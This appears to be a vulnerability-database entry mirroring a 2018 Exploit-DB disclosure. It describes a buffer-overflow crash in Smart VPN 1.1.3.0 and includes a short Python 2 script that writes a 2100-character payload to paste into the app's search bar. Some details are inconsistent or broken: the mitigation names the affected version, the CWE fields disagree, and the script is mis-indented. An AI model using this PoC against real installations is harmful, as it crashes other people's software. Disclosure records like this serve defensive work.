Smart VPN 1.1.3.0 - Denial of Service (PoC)

vendor:

Smart VPN

by:

0xB9

7.5

CVSS

HIGH

Denial of Service

119

CWE

Product Name: Smart VPN

Affected Version From: 1.1.3.0

Affected Version To: 1.1.3.0

Patch Exists: YES

Related CWE: N/A

CPE: a:smart_vpn:smart_vpn:1.1.3.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2018

Smart VPN 1.1.3.0 – Denial of Service (PoC)

A buffer overflow vulnerability exists in Smart VPN 1.1.3.0, which can be exploited by a malicious user to cause a denial of service. The vulnerability is caused due to a boundary error when handling user-supplied input, which can be exploited to cause a stack-based buffer overflow by sending a specially crafted payload of 2100 bytes to the top right search bar. This can allow an attacker to crash the application.

Mitigation:

Upgrade to the latest version of Smart VPN 1.1.3.0 or apply the appropriate patch.

Source

Exploit-DB raw data:

# Exploit Title: Smart VPN 1.1.3.0 - Denial of Service (PoC)
# Date: 1/28/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NH1G93D4HKR
# Version: 1.1.3.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the top right search bar and hit Enter
# App will now crash

buffer = "A" * 2100
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
print "File cannot be created"